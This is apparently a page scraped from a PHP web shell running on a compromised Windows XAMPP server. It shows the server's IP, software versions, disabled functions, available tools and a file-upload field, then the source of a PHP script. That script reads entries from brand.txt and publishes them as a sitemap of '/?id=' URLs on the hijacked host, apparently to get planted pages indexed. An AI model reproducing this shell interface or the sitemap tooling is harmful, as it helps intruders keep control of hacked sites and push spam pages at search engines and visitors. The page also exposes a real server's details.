Server IP : 101.255.104.117 / Your IP : 101.255.104.117 Web Server : Apache/2.4.34 (Win32) OpenSSL/1.0.2o PHP/5.6.38 System : Windows NT DESKTOP-5B8S0D4 6.2 build 9200 (Windows 8 Professional Edition) i586 User : user ( 0) PHP Version : 5.6.38 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : D:/xampp182/htdocs/simpegx/ |
Upload File : |
<?php // Mendeteksi direktori skrip saat ini $directoryPath = dirname(__FILE__); // Nama file daftar (diletakkan di direktori yang sama dengan skrip ini) $fileName = $directoryPath . '/brand.txt'; // Membaca file dan mendapatkan isi dalam bentuk array $entries = file_exists($fileName) ? file($fileName, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) : []; // Mendapatkan basis URL $scriptPath = $_SERVER['PHP_SELF']; $basePath = rtrim(dirname($scriptPath), '/\\'); $baseUrl = 'https://' . $_SERVER['HTTP_HOST']; // Membuat awal file XML $sitemap = new SimpleXMLElement('<urlset xmlns="https://www.sitemaps.org/schemas/sitemap/0.9"></urlset>'); // Menambahkan URL ke file sitemap foreach ($entries as $entry) { // Mengganti spasi dengan tanda plus $formattedEntry = str_replace(' ', '+', $entry); $url = $sitemap->addChild('url'); $url->addChild('loc', $baseUrl . $basePath . '/?id=' . $formattedEntry); $url->addChild('lastmod', date('Y-m-d')); $url->addChild('changefreq', 'daily'); $url->addChild('priority', '0.5'); } // Menyimpan file sitemap di direktori yang sama dengan skrip $sitemapFilePath = $directoryPath . '/sitemap.xml'; $sitemap->asXML($sitemapFilePath); // Output ke browser header('Content-Type: application/xml'); echo $sitemap->asXML(); ?>